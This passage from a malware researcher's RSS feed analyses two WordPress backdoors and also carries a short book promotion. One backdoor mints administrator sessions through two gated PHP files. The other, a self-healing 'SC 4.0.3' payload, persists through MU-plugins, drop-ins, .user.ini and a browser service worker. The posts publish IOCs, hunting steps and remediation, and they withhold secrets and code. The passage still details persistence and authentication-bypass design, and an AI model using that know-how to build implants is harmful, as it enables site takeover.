before ordinary plugins, and does not offer the normal deactivation control for them. WordPress documents that removal from the MU-plugin directory is required to disable such a file. See the official <a href="https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/">must-use plugin documentation</a>.</p><h3>Confirmed findings</h3><h3>Two routes lead to the same administrator-session outcome</h3><p>The samples differ in how the operator reaches them:</p><p>Component Loading path Wrong or missing secret Successful path</p><p>wp-content/admin-helper.php</p><p>Direct HTTP request to the PHP file</p><p>Returns a fake, non-cacheable 404 page</p><p>Loads WordPress, mints the selected administrator session, redirects to wp-admin</p><p>wp-content/mu-plugins/boot-loader.php</p><p>Automatically loaded during an ordinary WordPress request</p><p>Returns from the MU-plugin and lets WordPress continue</p><p>Runs during plugins_loaded, mints the selected administrator session, redirects to wp-admin</p><p>The MU-plugin declines AJAX and REST contexts. This appears designed to reduce breakage and avoid revealing the redirect during API traffic. Its request parameter is named like a scheduler, but the file contains no scheduling logic; the name is camouflage.</p><h3>The string splitting is camouflage, not encryption</h3><p>Neither sample contains a compressed or encrypted second stage. The apparent complexity comes from:</p><ul><li>split strings assembled with implode;</li><li>unrelated hexadecimal comments;</li><li>overwritten variables;</li><li>unused arrays and integers;</li><li>random word-salad identifiers;</li><li>meaningless function_exists probes; and</li><li>one impossible comparison in admin-helper.php.</li></ul><p>After removing this noise, the operational code is short and direct.</p><h3>The backdoor selects an administrator strategically</h3><p>Both samples follow the same selection algorithm:</p><ol><li>Read wp_helper_uid as an integer.</li><li>Query users with the administrator role.</li><li>Sort by ascending user ID.</li><li>Select the first administrator whose ID does not equal wp_helper_uid.</li><li>If none exists, fall back to the stored ID.</li><li>If no usable ID exists, stop or return 404.</li></ol><p>This means the option is not required for the attack to work. If the option is absent and evaluates to zero, the query still chooses the first administrator. Deleting only wp_helper_uid does <strong>not</strong> neutralize either file.</p><p>The preference for a different administrator is important. One plausible interpretation is that the stored ID identifies a helper or planted account, while the operator prefers to impersonate a legitimate low-ID administrator. That motive remains an inference because the missing installer and user-creation history were not recovered.</p><h3>WordPress creates a real persistent session</h3><p>The decisive call in both samples is structurally equivalent to:</p><p>No password validation occurs before these calls. The true argument requests a remembered session. WordPress documents a default 14-day duration, subject to the site&#39;s auth_cookie_expiration filter. When no session token is supplied, WordPress creates one through its session-token manager and then generates the authentication and logged-in cookies. See <a href="https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/">wp_set_auth_cookie()</a>.</p><p>Calling do_action(&#39;wp_login&#39;, ...) can also invoke ordinary login-monitoring, auditing, or security-plugin callbacks. It makes the event look more like a normal WordPress login to code that watches the hook, even though the password-authentication process was bypassed.</p><p>The supplied read-only query returned exactly one wp_helper_uid option. Its captured value was 10, the value length was two bytes, and autoload was disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ULgX33oDBNWPIn7a.png" /></figure><p><em>Figure 3 — Both PHP samples read this exact option. </em><em>autoload = off does not protect the site because each backdoor retrieves the option explicitly with </em><em>get_option().</em></p><p>The corresponding metadata capture showed user ID 10 with the site-prefixed capabilities value a:1:{s:13:&quot;administrator&quot;;b:1;} and user level 10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*efP5To8lkrKrEN3d.png" /></figure><p><em>Figure 4 — The database supports the narrow conclusion that the stored ID was administrator-capable. It does not establish whether the account was created by the attacker or was an existing legitimate administrator.</em></p><p>Query-only screenshots and empty results were excluded. In particular, a generic wp_capabilities lookup did not use the captured site&#39;s actual capability-meta prefix, so its empty result cannot support a negative finding.</p><h3>Technical analysis</h3><h3>admin-helper.php: direct endpoint with a fake 404</h3><p>The file tries three relative paths until it finds wp-load.php. From the observed wp-content location, the final candidate normally resolves to the WordPress root. If WordPress cannot be loaded, the script returns 404.</p><p>It then reconstructs a hard-coded secret and compares it with request parameter s using hash_equals(). A missing or incorrect value receives a deliberately ordinary 404 document plus no-cache headers. This conceals the endpoint from casual browsing and scanners that do not know the secret.</p><p><strong>Redacted defensive excerpt</strong></p><p>The gate secret’s SHA-256 is published below for private-sample comparison without disclosing the usable value.</p><h3>boot-loader.php: automatically loaded alternate gate</h3><p>The MU-plugin reconstructs a different secret and checks a parameter named cron. Unless it matches, the file returns immediately. It also returns for AJAX or REST requests. Only a correctly gated ordinary request reaches the registered callback.</p><p>This file does not create a WordPress cron event. The parameter name should not be mistaken for evidence of scheduled execution.</p><p>The following pseudocode preserves the defensively useful logic without providing either operational secret:</p><h3>Dead code and clustering markers</h3><p>The comments Widget cache bootstrap, ver b2ccbcd25e and Runtime dependencies bootstrap 9b66554fd3 do not describe the true behavior. They are valuable content-search markers because they appear alongside the backdoor logic.</p><p>admin-helper.php also probes three nonexistent-looking function names but never uses the results. These markers, the shared option, and the identical query/cookie sequence provide a stronger signature than either generic filename.</p><h3>Analyst assessment</h3><p>This is not a credential checker and not a conventional command-execution shell. It is a narrowly designed authentication bypass implanted on the server. The operator supplies a secret known to the malware, and the malware uses trusted WordPress internals to create a valid session for an administrator chosen from the victim database.</p><p>The dual placement matters operationally. Removing the directly visible admin-helper.php leaves the automatically loaded MU-plugin. Removing only the MU-plugin leaves the direct endpoint. The pair therefore provides redundant persistence of <strong>access</strong>, although the recovered code does not regenerate files and should not be described as self-healing.</p><p>Because a forged session receives the target account’s capabilities, the impact can include plugin/theme installation, code editing where enabled, user manipulation, content changes, data access, and further persistence. Multi-factor authentication implemented only in the normal login flow may not protect against a server-side function that creates the cookie after bypassing that flow.</p><p>The closest ATT&amp;CK concepts are <a href="https://attack.mitre.org/techniques/T1505/003/">T1505.003, Web Shell</a>, for a server-side web backdoor providing persistent access, and <a href="https://attack.mitre.org/techniques/T1550/004/">T1550.004, Web Session Cookie</a>, for authenticated access through session material rather than a password. These are approximate defensive mappings; this sample generates a WordPress session cookie instead of stealing an already issued cookie.</p><h3>How the malware may have been injected</h3><p>The recovered files do not contain their installer. Ownership and permission mode only show that the artifacts existed under the hosting subscription’s Unix identity. They do not distinguish among:</p><ul><li>exploitation of a vulnerable plugin, theme, or public upload handler;</li><li>a stolen WordPress administrator session or password followed by plugin/theme editing;</li><li>compromised Plesk File Manager credentials;</li><li>FTP, SFTP, SSH, or deployment credential abuse;</li><li>restoration of an already infected backup;</li><li>a malicious or compromised package; or</li><li>a write from another compromised site running as the same operating-system user.</li></ul><p>To establish initial access, preserve current and rotated web logs, Plesk panel history, FTP/SFTP/SSH authentication and transfer logs, WAF records, database audit/binlog evidence, security-plugin alerts, deployment history, and the nearest clean and infected backups. Start at least 72 hours before the earliest trustworthy sighting and correlate source IP, user agent, authenticated account, request route, response status, and file creation evidence.</p><p>High-value sequences include an unfamiliar login followed by a code upload, an unauthenticated POST to a component endpoint followed by the first request for a new PHP file, a Plesk/FTP authentication immediately before placement, or the same hashes appearing earlier on a sibling site.</p><p>The identical displayed timestamps on the two files are contextual, not conclusive. They can result from one deployment action, a preserved archive timestamp, manual copying, or deliberate timestamp manipulation. No recovered line implements timestomping.</p><h3>Detection and hunting</h3><h3>Read-only filesystem hunt</h3><p>Search every document root owned by the same hosting account. rg is preferred when available:</p><p>Also find the observed filenames, but treat them as candidates until content or hashes match:</p><p>Inspect PHP in uploads, cache, upgrade, temporary, and backup directories. Review .user.ini, .htaccess, wp-config.php, all MU plugins, WordPress drop-ins, active and inactive themes, ordinary plugins, and sibling installations.</p><h3>Read-only database hunt</h3><p>Replace &lt;prefix&gt;_ with the exact prefix from wp-config.php:</p><p>Then validate the referenced ID directly rather than trusting the WordPress Users screen:</p><p>For multisite or a nonstandard installation, confirm the correct capabilities key and table layout before drawing conclusions.</p><h3>Log hunt</h3><p>Search current and rotated domain logs for the direct filename. Keep full query strings private because they may disclose a usable gate value:</p><p>A request match is evidence of access to the path, not automatically successful authentication. Preserve timestamp, status, response size, source/forwarded IP, user agent, referrer, and surrounding lines.</p><h3>Indicators of compromise</h3><p><a href="https://www.mdpabel.com/wordpress-researches/wp-helper-uid-iocs.csv">Download the privacy-safe IOC CSV</a>. The operational gate values are withheld; only their SHA-256 hashes are included.</p><h3>Higher-confidence indicators</h3><p>wp_helper_uid</p><p>WordPress option</p><p>Shared by both files and confirmed in the database</p><p>wp_179e4b, wp_4bb239, and wp_4960ab together</p><p>Code probes</p><p>Inert clustering markers in the direct endpoint</p><p>8e753f173a5c428fe6c44646cddb0da04952628bcd098400d6fe9fcd3f3bb435</p><p>Secret SHA-256</p><p>Hash of the withheld direct-endpoint gate value</p><p>b6efe58fb91fb0bb9d11fce3b6eb42bcc1b8822deacc39facc657d17cffb1bf5</p><p>Secret SHA-256</p><p>Hash of the withheld MU-plugin gate value</p><h3>Contextual indicators</h3><ul><li>wp-content/admin-helper.php</li><li>wp-content/mu-plugins/boot-loader.php</li><li>small PHP files using split strings, WP_User_Query, wp_set_auth_cookie, wp_login, and admin_url() together;</li><li>s or cron request parameters, which are generic and unsafe as standalone detections; and</li><li>matching displayed timestamps or file ownership, which require content or log corroboration.</li></ul><p>Filenames and generic request parameters are not sufficient diagnoses. A legitimate developer can choose either filename, and many unrelated applications use a cron parameter.</p><h3>What this evidence does not establish</h3><ul><li>The installer or file-write mechanism was not recovered.</li><li>Initial access is unknown.</li><li>No log proves that an operator successfully used either gate.</li><li>User ID 10 was administrator-capable, but the retained evidence does not establish whether it was maliciously created.</li><li>Empty phpMyAdmin results produced with a generic capability-meta key are not valid evidence that administrators were absent.</li><li>The sample pair contains no C2 address, remote download, command execution, password capture, cron scheduling, file restoration, or sibling-site scanning logic.</li><li>No attribution can be made from attacker-controlled comments, filenames, or variable names.</li></ul><p>Do not begin by testing either backdoor URL. A successful test creates another valid administrator session and changes the evidence you need to preserve.</p><h3>1. Preserve evidence and contain execution</h3><ol><li>Create filesystem, database, and log snapshots outside the compromised document root.</li><li>Put the virtual host behind a static maintenance response or restrict it at the web-server/firewall layer. A WordPress maintenance plugin is insufficient because the MU-plugin loads during WordPress bootstrap.</li><li>Preserve both samples, metadata, hashes, the wp_helper_uid row, referenced user/user-meta rows, all session-token rows, and current/rotated access logs.</li><li>Identify every WordPress installation writable by the same operating-system owner.</li></ol><h3>2. Remove both known access paths</h3><p>After preservation, remove or quarantine these exact confirmed artifacts together:</p><pre>wp-content/admin-helper.php wp-content/mu-plugins/boot-loader.php</pre><p>Do not delete every file with those names automatically. Verify content or hashes first. Search the entire account for the stable markers and hashes, then remove every confirmed copy.</p><p>Inspect the rest of mu-plugins manually. WordPress states that MU-plugin files cannot be disabled through the normal plugin control; the file itself must be removed from the MU-plugin directory.</p><h3>3. Remove the coordination option</h3><p>Export the row first. Then, while the site is contained and after confirming the table prefix, remove only the exact option:</p><p>Deleting the option without removing both PHP files is not a fix: the code can select the first administrator when the option is absent.</p><h3>4. Audit users before deleting any account</h3><p>Verify user ID 10 with the site owner. Review its username, email, registration date, authored content, password-change history where available, application passwords, session metadata, and surrounding audit logs.</p><ul><li>If unauthorized, remove it through a clean administrative process and explicitly decide how to reassign any legitimate content.</li><li>If legitimate, retain the account but rotate its password and revoke all sessions.</li><li>Review every other administrator because the backdoors intentionally prefer an administrator different from the stored helper ID.</li></ul><p>Do not infer that only user ID 10 was exposed.</p><h3>5. Destroy sessions and rotate authentication material</h3><p>After the malicious PHP is gone and WordPress core is trusted, destroy all sessions for all users. WordPress documents wp user session destroy &lt;user&gt; --all, and its CLI documentation provides an all-user example. See <a href="https://developer.wordpress.org/cli/commands/user/session/destroy/">wp user session destroy</a>.</p><p>Rotate all eight WordPress authentication keys and salts in wp-config.php; WordPress documents that changing them invalidates existing cookies. See the <a href="https://developer.wordpress.org/apis/wp-config-php/#security-keys">WordPress security-key documentation</a>.</p><p>Then rotate:</p><ul><li>every WordPress administrator password;</li><li>Plesk/control-panel credentials and MFA recovery methods;</li><li>FTP, SFTP, SSH, deployment, and repository credentials;</li><li>the database password;</li><li>API, SMTP, payment, backup, and integration secrets accessible to the site.</li></ul><p>Use a clean administrator device for the rotations.</p><h3>6. Rebuild trusted code and investigate the entry route</h3><p>Replace WordPress core with the exact trusted release and reinstall plugins/themes from verified vendor packages. Diff and separately restore only reviewed custom code and uploads. Do not copy the compromised installation wholesale into the rebuilt site.</p><p>Search for PHP in normally non-executable locations and inspect:</p><ul><li>all MU plugins and ordinary plugins;</li><li>active and inactive themes;</li><li>wp-config.php, .user.ini, .htaccess, and PHP-FPM/vhost configuration;</li><li>advanced-cache.php, db.php, object-cache.php, and sunrise.php;</li><li>uploads, cache, upgrade, upgrade-temp-backup, temporary, and backup directories; and</li><li>every sibling site under the same hosting identity.</li></ul><p>Correlate logs and backups to identify the initial access route. Patch or remove the vulnerable component, compromised account, poisoned deployment, or sibling-site source before returning the site to service.</p><h3>Recurrence verification</h3><p>After cleanup:</p><ul><li>confirm both file hashes and all stable markers are absent account-wide;</li><li>confirm wp_helper_uid is absent from the correct options table;</li><li>compare the database-level administrator list with the site owner’s approved inventory;</li><li>confirm all old WordPress sessions are invalid;</li><li>verify the MU-plugin directory contains only documented, trusted files;</li><li>monitor requests for admin-helper.php without responding through WordPress;</li><li>alert on recreation of either path or option;</li><li>monitor new administrator capability assignments, plugin/theme writes, and PHP created in uploads/cache; and</li><li>repeat the hunt after PHP/web-service restart and again after normal site traffic resumes.</li></ul><p>If either file or option returns, stop request processing again and search for the missing writer. The current samples do not self-repair, so recurrence would be evidence of another surviving component, stolen access, scheduled deployment, infected backup, or compromised sibling site.</p><p><a href="https://www.mdpabel.com/malware-research/">Browse the WordPress malware research hub</a>.</p><h3>Methodology and privacy note</h3><p>The samples were handled as text and were never invoked through WordPress. File hashes were calculated locally, and PHP linting validated syntax without executing application logic. Official WordPress documentation was used to verify MU-plugin loading, cookie duration, session-token creation, session destruction, and salt rotation.</p><p>Public screenshots are privacy-reviewed derivatives. Client account-owner values, the database name/table prefix, and the user nickname were removed. Query-only and empty-result screenshots were excluded because they added no reliable finding; one empty capability query used a generic meta-key prefix and was not suitable for interpretation.</p><p>Both hard-coded gate values are withheld. The report publishes only their SHA-256 hashes, exact sample hashes, non-operational code markers, and redacted defensive excerpts. Confirmed behavior is separated from inference, and the report does not claim an entry vulnerability, successful operator use, self-healing, campaign prevalence, or attribution without supporting evidence.</p><p><em>Originally published at </em><a href="https://www.mdpabel.com/malware-research/wp-helper-uid-wordpress-admin-session-backdoor/"><em>https://www.mdpabel.com</em></a><em> on August 30, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=699c1ef457a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WordPress Malware Removal Is More Than Deleting Malicious Files]]></title>
            <link>https://mdpabeldev.medium.com/wordpress-malware-removal-is-more-than-deleting-malicious-files-12abc0d74f77?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/12abc0d74f77</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 19:58:01 GMT</pubDate>
            <atom:updated>2026-08-29T19:58:01.878Z</atom:updated>
            <content:encoded><![CDATA[<h3>Why hacked WordPress sites often get infected again — and what a proper cleanup should actually include</h3><p>When a WordPress site is hacked, the first instinct is usually simple:</p><p>Find the malicious file, delete it, run a scanner, and move on.</p><p>Sometimes that works.</p><p>But in many real-world infections, the visible malware is only one part of the problem.</p><p>A compromised WordPress site may contain several persistence mechanisms at the same time. You remove one malicious file, refresh the site, and everything looks clean. A few hours later, the malware appears again.</p><p>That is not always a “new hack.”</p><p>Sometimes you simply removed the payload without removing the mechanism that was restoring it.</p><h3>Malware Can Exist Across Multiple Layers</h3><p>During WordPress malware cleanup, I have found malicious code or persistence mechanisms in places such as:</p><ul><li>WordPress core files</li><li>Plugins and fake plugins</li><li>mu-plugins</li><li>Theme functions.php</li><li>The database options table</li><li>Cron jobs</li><li>.user.ini</li><li>Service workers</li><li>Upload directories</li><li>Other files scattered throughout wp-content</li><li>Hosting-level files and configuration</li><li>Injected JavaScript</li><li>Hidden administrator accounts</li></ul><p>This is why relying on a single malware scanner can be dangerous.</p><p>A scanner may identify a suspicious PHP file while completely missing the database entry or cron job responsible for recreating it.</p><p>The result?</p><p>The site gets “cleaned,” but the infection returns.</p><h3>A Clean Scan Is Not Proof of a Clean Site</h3><p>Malware scanners are useful. I use automated tools as part of investigations too.</p><p>But a clean scan should be treated as a <strong>signal</strong>, not absolute proof.</p><p>A proper investigation should also answer questions like:</p><p>How did the attacker get access?</p><p>Are there unknown administrator accounts?</p><p>Were vulnerable plugins involved?</p><p>Was the database modified?</p><p>Are there malicious scheduled tasks?</p><p>Did the attacker modify server-level configuration?</p><p>Are SEO spam pages still indexed by Google?</p><p>Has the domain been added to a security blacklist?</p><p>Is there another compromised website under the same hosting account?</p><p>Most importantly:</p><p><strong>What would allow the malware to return after cleanup?</strong></p><p>That last question is often what separates temporary cleanup from actual remediation.</p><h3>Reinfection Is Often a Persistence Problem</h3><p>I recently investigated a particularly interesting WordPress infection where the malware could restore components that had already been deleted.</p><p>The persistence was distributed across multiple locations rather than relying on one obvious backdoor.</p><p>This type of case is a good reminder that malware removal is not simply about identifying “the bad file.”</p><p>You have to understand the relationship between the infected components.</p><p>One malicious file may create another.</p><p>A database entry may load code from elsewhere.</p><p>A cron job may restore deleted files.</p><p>A fake plugin may behave like a normal WordPress component while quietly maintaining access.</p><p>If you only remove what is immediately visible, the attacker may already have another path back in.</p><h3>Cleanup Should Follow a Process</h3><p>After working on hacked WordPress sites for years, I have found that a structured workflow is far more reliable than randomly deleting suspicious files.</p><p>A cleanup should generally include:</p><p><strong>Diagnosis</strong></p><p>Confirm whether the site is actually compromised and identify the symptoms.</p><p><strong>Scope</strong></p><p>Determine which files, databases, websites, or hosting accounts may be affected.</p><p><strong>Removal</strong></p><p>Remove malicious code, injected content, unauthorized users, fake plugins, and other compromised components.</p><p><strong>Persistence analysis</strong></p><p>Look for anything capable of recreating the infection.</p><p><strong>Root-cause investigation</strong></p><p>Identify vulnerable plugins, exposed credentials, outdated software, compromised accounts, or other likely entry points.</p><p><strong>Recovery</strong></p><p>Deal with SEO spam, blacklist warnings, hacked URLs, reputation issues, and search-engine cleanup when necessary.</p><p><strong>Hardening and monitoring</strong></p><p>Reduce the chance of the same compromise happening again.</p><p>The order matters.</p><p>Cleaning a site without understanding how it was compromised can leave you repeating the same cleanup a few days later.</p><h3>I Turned My Cleanup Workflow Into a Book</h3><p>After cleaning thousands of hacked WordPress sites since 2018, I wanted to organize the techniques and lessons I use in real cases into one practical resource.</p><p>That became:</p><p><strong>WordPress Malware Removal for Developers &amp; Site Owners</strong></p><p>It covers topics including:</p><ul><li>Diagnosing hacked WordPress sites</li><li>Finding the full scope of an infection</li><li>File-system malware cleanup</li><li>Database malware</li><li>Redirect malware</li><li>SEO spam</li><li>Fake plugins and themes</li><li>Hidden administrator accounts</li><li>Cron and persistence mechanisms</li><li>Hosting and server-level issues</li><li>Google Safe Browsing and blacklist recovery</li><li>Reinfection investigation</li><li>Ongoing WordPress security</li></ul><p>The goal is not to provide another list of security plugins.</p><p>It is to help developers and site owners understand <strong>how to investigate a compromised WordPress site systematically</strong>.</p><p>I’m currently making the book available using a <strong>Pay What You Want</strong> model, with a minimum price of <strong>$9.99</strong>.</p><p>If WordPress security, malware analysis, or incident cleanup is part of your work, you can learn more here:</p><p><a href="https://www.mdpabel.com/books/wordpress-malware-removal/?utm_source=medium&amp;utm_medium=article&amp;utm_campaign=book_promo&amp;utm_content=wordpress_malware_removal_article"><strong>https://www.mdpabel.com/books/wordpress-malware-removal/?utm_source=medium&amp;utm_medium=article&amp;utm_campaign=book_promo&amp;utm_content=wordpress_malware_removal_article</strong></a></p><p>The most important lesson I have learned from malware cleanup is simple:</p><p><strong>Do not stop when the visible malware disappears. Find out what allowed it to exist — and what could bring it back.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12abc0d74f77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SC 4.0.3 Self-Healing WordPress Malware Research]]></title>
            <link>https://mdpabeldev.medium.com/sc-4-0-3-self-healing-wordpress-malware-research-759a3aa3c389?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/759a3aa3c389</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Sat, 22 Aug 2026 00:00:50 GMT</pubDate>
            <atom:updated>2026-09-27T09:06:01.528Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Research focus:</strong> Analysis of SC 4.0.3 WordPress malware that rebuilds itself through MU plugins, drop-ins, themes, PHP configuration, database payloads, ZIP files, memory, and browsers.</p><p>I encountered self-healing WordPress malware that appeared to regenerate almost immediately after its files were deleted. On this site, the visible components included a plugin using the alias <strong>Trace Scanner Lite</strong>, an identically named must-use plugin, the WordPress drop-ins advanced-cache.php and db.php, two loader files in wp-content, a .user.ini directive, an injected theme functions.php, and hidden ZIP backups.</p><p>This was not a collection of unrelated malicious files. Static analysis shows that they form a coordinated, self-repairing persistence mesh. Several components can restore the main payload, while the payload can rebuild the other components. In this incident, temporarily renaming wp-content interrupted those paths long enough to remove the files together. That observation was the key clue: deleting only the file currently visible did not remove the source that recreated it.</p><p><strong>Assessment:</strong> Critical compromise. The malware can steal administrator passwords, mint authenticated cookies for existing administrators, create a concealed administrator, receive remote code and JavaScript, persist in server and browser contexts, and spread to sibling WordPress installations accessible to the same hosting account.</p><blockquote><em>The initial vulnerability or stolen credential used to enter the first site cannot be determined from these samples alone. This report separates the behavior proven by the recovered code from possible initial-access hypotheses.</em></blockquote><h3>Scope and methodology</h3><p>This analysis is based on the recovered PHP files and screenshots listed below. I decoded the string-substitution layers, unpacked embedded Base64/gzip content, compared payload hashes, and traced file, database, WordPress-hook, browser, and network behavior. The samples were handled as text and <strong>were not executed</strong>. No command-and-control endpoint or Ethereum RPC endpoint was contacted during analysis.</p><p>The recovered variant uses fake plugin author metadata. A WordPress plugin header is attacker-controlled text, not reliable attribution. Other infected sites can use completely different plugin names, descriptions, authors, and filenames while retaining the same underlying persistence system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D5O2aSW_tCw6N8M4.png" /></figure><p><em>Figure 1 — The infected </em><em>wp-content directory. The leading dot on </em><em>.59e2e230.php makes the larger loader hidden on Unix-like systems. The smaller visible </em><em>59e2e230.php is a wrapper. The listing also shows </em><em>.user.ini; </em><em>83af5c0a.zip is another recovery source.</em></p><h3>Executive findings</h3><ul><li>The recovered main payload is the 185,171-byte file named trace-scanner-lite.php on this victim. It contains an internal 4.0.3 identifier even though its fake plugin header claims version 1.1.0. The plugin name is an alias, not a dependable family-wide indicator.</li><li>The normal plugin and MU-plugin copies are redundant. The MU copy is automatically loaded by WordPress and was changed to permission mode 0444 to make casual editing harder.</li><li>db.php and the infected block in the theme&#39;s functions.php each embed an exact compressed copy of the main payload. After decoding, both have the same SHA-256 as the recovered plugin.</li><li>advanced-cache.php can restore the payload from a surviving file, a ZIP backup, a database option, or System V shared memory.</li><li>A malicious .user.ini sets auto_prepend_file to the visible loader; that loader includes the hidden loader in wp-content. This activates recovery code before normal PHP application code in the directive&#39;s directory scope.</li><li>The payload also stores itself in WordPress options, shared memory, and ZIP files, and creates hashed installers, loaders, guards, and a service worker.</li><li>It uses Ethereum smart-contract calls as a resilient command-and-control locator, then exchanges XOR-obfuscated JSON with the returned C2 URLs.</li><li>It captures administrator passwords, creates a hidden administrator, and forges valid WordPress authentication cookies for every existing administrator.</li><li>It can search shared-hosting paths for sibling WordPress sites and infect those writable by the same operating-system account.</li><li>The malware deliberately backdates files. Dates displayed in a hosting file manager are not a trustworthy infection timeline.</li></ul><h3>Observed plugin aliases: a living list</h3><p>The attacker-controlled plugin identity is camouflage. It should be treated as a secondary search term and a pivot for finding related samples-not as the primary detection criterion. This table is intentionally designed to be extended when another alias is recovered.</p><p>Observed display name or slug Locations observed Sample status Notes</p><p>Trace Scanner Lite / trace-scanner-lite</p><p>Normal plugin and matching MU-plugin</p><p>Confirmed in this sample set</p><p>Fake header claims version 1.1.0; internal persistence markers identify 4.0.3.</p><p>When adding a new alias, record its display name, directory slug, PHP basename, file hash, internal SC marker/version, contract addresses, selector, and whether its decoded payload matches an existing sample. A shared plugin name alone is weak evidence; matching persistence behavior, markers, decoded code, or C2 configuration is much stronger.</p><p>Future samples should extend this alias record without changing the article’s primary keyword or detection strategy.</p><h3>The persistence architecture</h3><p>The easiest way to understand the infection is as a graph, not a chain:</p><pre>site-root or wp-content/.user.ini │ auto_prepend_file wp-content/59e2e230.php ──includes──► wp-content/.59e2e230.php restores the MU payload WordPress bootstrap ├── wp-content/mu-plugins/&lt;alias&gt;.php ────────────┐ ├── wp-content/plugins/&lt;alias&gt;/&lt;alias&gt;.php ───────┤ ├── wp-content/advanced-cache.php ────────────────┤ restore each other ├── wp-content/db.php ────────────────────────────┤ └── active-theme/functions.php ───────────────────┘ database option + shared memory + ZIP backups + cache installers browser service worker with scope &quot;/&quot;</pre><p>This design creates circular recovery. Removing one node leaves several others able to reconstruct it on the next PHP request, WordPress bootstrap, cron run, shutdown callback, or infected administrator-browser action.</p><h3>Recovered component map</h3><p>Configures PHP auto_prepend_file to run the visible wp-content loader before requested PHP scripts in its directory scope.</p><p>wp-content/59e2e230.php</p><p>A 231-byte wrapper that includes the hidden loader.</p><p>advanced-cache.php</p><p>WordPress drop-in that can recover the payload from files, shared memory, ZIP, or a database option.</p><p>WordPress database drop-in containing a complete embedded copy of the payload.</p><p>83af5c0a.zip and copies</p><p>Backup archives containing the fake plugin directory and PHP payload.</p><p>hashed cache/core PHP files</p><p>Installer, loader, guard, and service-worker delivery mechanisms.</p><p>WordPress options and transients</p><p>Compressed source, manifest, C2 state, captured credentials, scheduling, and recovery data.</p><p>System V shared memory</p><p>Fileless backup of the payload surviving deletion of disk copies while PHP workers remain alive.</p><p>browser service worker</p><p>Captures login submissions, injects admin responses, receives JavaScript, and can reinstall the plugin.</p><h3>Why the files returned within seconds</h3><p>The observed regeneration is fully consistent with the code.</p><ol><li>A request enters PHP. Because .user.ini defines auto_prepend_file, PHP runs the small loader before the requested script. That loader reaches the hidden wp-content loader, which can recreate the MU plugin.</li><li>During WordPress startup, MU plugins load automatically. WordPress also recognizes advanced-cache.php and db.php as special drop-ins. Any surviving one can run recovery logic.</li><li>Both the infected theme and db.php carry a complete copy of the main payload. Deleting the plugin directory therefore does not delete the payload.</li><li>advanced-cache.php can recover from ZIP, a WordPress option, or shared memory even when the visible PHP copies have been removed.</li><li>Scheduled and opportunistic callbacks repeat the checks. An infected administrator browser can also participate through its service worker.</li></ol><p>PHP documents that auto_prepend_file is parsed before the primary file, and that per-directory .user.ini files are used by CGI/FastCGI SAPIs. PHP also caches per-directory configuration; the default user_ini.cache_ttl is 300 seconds. That is why deleting .user.ini alone may not immediately stop already running workers. See the PHP documentation for <a href="https://www.php.net/manual/en/configuration.file.per-user.php">per-directory INI files</a>, <a href="https://www.php.net/manual/en/ini.core.php">auto_prepend_file</a>, and <a href="https://www.php.net/manual/en/ini.list.php">INI directive defaults</a>.</p><p>The incident description places .user.ini in the site root, while Figure 1 appears to show a copy in the wp-content listing. Multiple copies may have existed, or the captured/downloaded location may have changed. This distinction matters: a .user.ini affects its directory and descendants. Responders should inspect the document root, wp-content, parent directories, and PHP-FPM/vhost configuration instead of assuming there was only one directive.</p><p>Renaming wp-content worked as an emergency interruption because several calculated and hard-coded paths suddenly stopped resolving. A safer repeatable response is to take the virtual host offline or stop its PHP workers, preserve evidence, remove every recovery node in one maintenance window, clear the non-file stores, and restart clean workers.</p><p>WordPress loads must-use plugins automatically, and they are not disabled through the normal Plugins screen. That makes mu-plugins an attractive persistence location. The malware copies itself there, sets restrictive permissions, removes its normal copy from WordPress&#39;s active-plugin list, and hides its entries from several administrative views. WordPress&#39;s own documentation explains the automatic-loading behavior of <a href="https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/">must-use plugins</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v5m-bg01dAFHDikt.png" /></figure><p><em>Figure 2 — The ordinary plugin directory. Its matching MU-plugin copy is not a second infection; both are replicas in the same recovery system.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cNKuov447uEkxV6t.png" /></figure><p><em>Figure 3 — The MU copy was 180.83 KB and set to </em><em>0444. The payload can change permissions when it needs to replace a file and set them back afterward.</em></p><p>The plugin also hooks WordPress plugin lists, update data, Site Health output, user-interface rendering, and popular file-manager/elFinder filters. It can remove its own rows and counts or filter its filenames from file-manager results. Therefore, “not visible in wp-admin” is not evidence that the file is absent.</p><h3>Drop-in and theme implants</h3><p>WordPress recognizes files such as advanced-cache.php and db.php as drop-ins with special bootstrap behavior. advanced-cache.php is loaded when WP_CACHE is enabled; db.php can replace the database abstraction layer. These are legitimate filenames used by real caching and database products, so the filenames alone are not malicious. The recovered contents are malicious. WordPress maintains the official <a href="https://developer.wordpress.org/reference/functions/_get_dropins/">drop-in list</a> and documents the <a href="https://developer.wordpress.org/advanced-administration/wordpress/wp-config/">advanced-cache loading switch</a>.</p><p>The samples use distinct markers:</p><p>The db.php implant and the block appended to functions.php each contain 71,804 Base64 characters representing a gzip-compressed plugin. Decoding either produces 185,171 bytes with SHA-256:</p><p>8284d68274c0475118732110680e38d9da27b4173997c0db0d9f6e5283109554</p><p>That is exactly the hash of the recovered trace-scanner-lite.php. This byte-for-byte match is the strongest proof that the files belong to one persistence system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ppD6azAnmQ6cOS_C.png" /></figure><p><em>Figure 4 — The injected block in the 